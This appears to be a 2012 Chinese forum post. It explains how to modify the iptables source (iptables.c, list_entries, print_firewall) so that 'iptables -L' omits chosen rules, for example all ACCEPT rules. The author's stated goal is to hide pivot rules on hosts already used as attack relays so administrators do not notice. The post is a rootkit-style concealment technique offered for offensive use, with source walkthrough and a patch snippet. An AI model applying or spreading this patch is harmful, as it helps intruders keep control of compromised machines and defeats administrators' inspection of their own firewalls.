linuxnetfilter(iptables)输出规则的隐藏

[复制链接]
查看207 | 回复0 | 2012-4-1 19:15:38 | 显示全部楼层 |阅读模式
最近在写一些关于netfilter作为跳板过程的一些文档,没办法,天然的跳板资源不用就太可惜了,实现起来很简单了,不过要让管理员也无法短时间内发现这台主机已经被我们作为跳板就稍微麻烦点了,看了下国外发布关于linux的rootkit,好像还没有针对这个来隐藏的,只能自己看看netfilter的源代码了。
 
通过iptables-V获得当前的netfilter版本信息(v1.4.9),然后从ftp://ftp.netfilter.org/pub/iptables/下载相对应的版本,解压打开文件iptables.c找到1408行
C代码

01.1408:case'L'://这是iptables–L所显示的规则

02.add_command(&command,CMD_LIST,

03.CMD_ZERO|CMD_ZERO_NUM,invert);//设置command标志位

04.if(optarg)chain=optarg;

05.elseif(optind<argc&&argv[optind][0]!='-'

06.&&argv[optind][0]!='!')

07.chain=argv[optind++];

08.if(optind<argc&&argv[optind][0]!='-'

09.&&argv[optind][0]!='!')

10.rulenum=parse_rulenumber(argv[optind++]);

11.break;

add_command最终返回的command的值,其中CMD_LIST、CMD_ZERO、CMD_ZERO_NUM已经进行了宏定义,得到相关值计算就可以知道返回的command的值
&nbsp;
C代码

01.switch(command){//对比command的值来执行

02.//省略部分代码

03.caseCMD_LIST:

04.caseCMD_LIST|CMD_ZERO:

05.caseCMD_LIST|CMD_ZERO_NUM:

06.ret=list_entries(chain,

07.rulenum,

08.options&OPT_VERBOSE,

09.options&OPT_NUMERIC,

10.options&OPT_EXPANDED,

11.options&OPT_LINENUMBERS,

12.*handle);

13.if(ret&&(command&CMD_ZERO))

14.ret=zero_entries(chain,

15.options&OPT_VERBOSE,*handle);

16.if(ret&&(command&CMD_ZERO_NUM))

17.ret=iptc_zero_counter(chain,rulenum,*handle);

18.break;

19.//省略部分代码

20.}


这里就可以知道我们返回的command值下面干了什么,从上面的代码就可以知道list_entries是返回的输出规则,下面是这个函数的部分代码
&nbsp;
C代码

01.list_entries(constipt_chainlabelchain,intrulenum,intverbose,intnumeric,

02.intexpanded,intlinenumbers,structiptc_handle*handle)

03.{

04.//省略部分代码

05.while(i){

06.num++;

07.if(!rulenum||num==rulenum)//输出规则

08.print_firewall(i,

09.iptc_get_target(i,handle),

10.num,

11.format,

12.handle);

13.i=iptc_next_rule(i,handle);

14.}

15.//省略部分代码

16.}

这里终于知道了print_firewall就是打印每一条输出规则的函数了,这个函数中我们可以在之前对输入的内容进行判断,然后直接返回上面的while循环中执行下一条,例如下面
C++代码

01.if(strcmp(targname,&quot;ACCEPT&quot;)==0){

02.return;

03.}

就可以屏蔽掉所有accept的规则了,如此我们就可以在输出规则中隐藏我们自己定义的规则。

&nbsp;
&nbsp;
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则